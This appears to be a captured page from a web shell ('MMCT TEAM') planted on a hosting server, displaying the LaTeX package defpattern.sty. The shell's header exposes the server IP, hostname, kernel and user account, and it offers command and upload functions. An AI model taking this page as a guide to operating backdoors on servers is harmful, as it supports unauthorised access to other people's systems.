MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.178
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/texlive/texmf-dist/tex/latex/fp/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/texlive/texmf-dist/tex/latex/fp/defpattern.sty
\NeedsTeXFormat{LaTeX2e}
\ProvidesPackage{defpattern}[1994/10/12]

\message{%
  `\string\defpattern-macro (adapted from \string\howto\space (A. Jeffrey: TeX and TUG NEWS 2(2)))'%
}

%define a macro \defpattern for defining ML-like pattern matching macros
%adapted from the \howto-macro from tugboat

\def\xcs#1#2{\expandafter#1\csname#2\endcsname}
\newcount\actioncount
\def\defpattern#1[#2]#3{%
  \xcs\ifx{\expandafter\gobble\string#1}\relax%
  \def#1{\erroraction#1}\fi%
  \advance\actioncount by 1\relax%
  \expandafter\defaction\expandafter{#1}{#3}{#2}%
  \def\temp##1##2##3##4##5##6##7##8##9{\def\temp{[#2]}}%
  \temp\empty\empty\empty\empty\empty\empty\empty\empty\empty%
  \edef#1{\noexpand\doaction\xcs\noexpand%
    {action-\the\actioncount}\temp}}
\def\defaction#1#2#3{%
  \xcs\def{action-\the\actioncount}##1[#3]{\applyto{#1}{#2}}}
\def\gobble#1{}
\def\applyto#1#2#3{#3{#1}{#2}}
\def\doaction#1[#2][#3]{#1[#3]\success[#2]\failure[#3]}
\def\success#1#2[#3]\failure[#4]{#2}
\def\failure#1#2{#1}
\def\erroraction#1[#2]{%
   \errmessage{I don't know how to \string#1[#2]}}


MMCT - 2023